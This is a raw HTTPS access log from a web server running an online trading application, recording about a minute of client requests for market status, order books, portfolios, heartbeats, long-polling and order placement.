[09/Jan/2026:15:05:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:15:05:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:15:05:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942593098 HTTP/1.1" -
[09/Jan/2026:15:05:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:05:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:05:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1179
[09/Jan/2026:15:05:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942595360 HTTP/1.1" -
[09/Jan/2026:15:05:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942602036 HTTP/1.1" -
[09/Jan/2026:15:05:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:05:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:05:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1227
[09/Jan/2026:15:05:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942596531 HTTP/1.1" -
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1021
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942598145 HTTP/1.1" -
[09/Jan/2026:15:05:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:05:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1743
[09/Jan/2026:15:05:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942600408 HTTP/1.1" -
[09/Jan/2026:15:05:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942607073 HTTP/1.1" -
[09/Jan/2026:15:05:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942601565 HTTP/1.1" -
[09/Jan/2026:15:05:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942603312 HTTP/1.1" -
[09/Jan/2026:15:05:34 +0800] 5.187.35.158 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SDK/webLanguage HTTP/1.1" 196
[09/Jan/2026:15:05:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:05:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942605443 HTTP/1.1" -
[09/Jan/2026:15:05:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942612152 HTTP/1.1" -
[09/Jan/2026:15:05:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942606670 HTTP/1.1" -
[09/Jan/2026:15:05:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942608372 HTTP/1.1" -
[09/Jan/2026:15:05:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942610466 HTTP/1.1" -
[09/Jan/2026:15:05:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942617251 HTTP/1.1" -
[09/Jan/2026:15:05:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942611744 HTTP/1.1" -
[09/Jan/2026:15:05:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942613517 HTTP/1.1" -
[09/Jan/2026:15:05:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942615498 HTTP/1.1" -
[09/Jan/2026:15:05:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942622324 HTTP/1.1" -
[09/Jan/2026:15:05:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942616835 HTTP/1.1" -
[09/Jan/2026:15:05:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:05:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942618647 HTTP/1.1" -
[09/Jan/2026:15:05:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942620545 HTTP/1.1" -
[09/Jan/2026:15:05:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942627356 HTTP/1.1" -
[09/Jan/2026:15:05:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942622191 HTTP/1.1" -
[09/Jan/2026:15:05:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:05:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942623793 HTTP/1.1" -
[09/Jan/2026:15:05:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:05:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942625583 HTTP/1.1" -
[09/Jan/2026:15:05:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942632462 HTTP/1.1" -
[09/Jan/2026:15:05:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942627229 HTTP/1.1" -
[09/Jan/2026:15:05:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942628855 HTTP/1.1" -
[09/Jan/2026:15:06:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942630638 HTTP/1.1" -
[09/Jan/2026:15:06:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942637504 HTTP/1.1" -
[09/Jan/2026:15:06:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:06:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:06:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942632269 HTTP/1.1" -
[09/Jan/2026:15:06:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942633907 HTTP/1.1" -
[09/Jan/2026:15:06:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:06:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942635661 HTTP/1.1" -
[09/Jan/2026:15:06:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942642572 HTTP/1.1" -
[09/Jan/2026:15:06:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942637338 HTTP/1.1" -
[09/Jan/2026:15:06:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942639058 HTTP/1.1" -
[09/Jan/2026:15:06:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942640683 HTTP/1.1" -
[09/Jan/2026:15:06:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942647669 HTTP/1.1" -
[09/Jan/2026:15:06:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942642374 HTTP/1.1" -
[09/Jan/2026:15:06:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1380
[09/Jan/2026:15:06:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:06:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:06:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:06:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1867
[09/Jan/2026:15:06:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942644311 HTTP/1.1" -
[09/Jan/2026:15:06:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942645714 HTTP/1.1" -
[09/Jan/2026:15:06:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942652746 HTTP/1.1" -
[09/Jan/2026:15:06:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942647482 HTTP/1.1" -
[09/Jan/2026:15:06:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
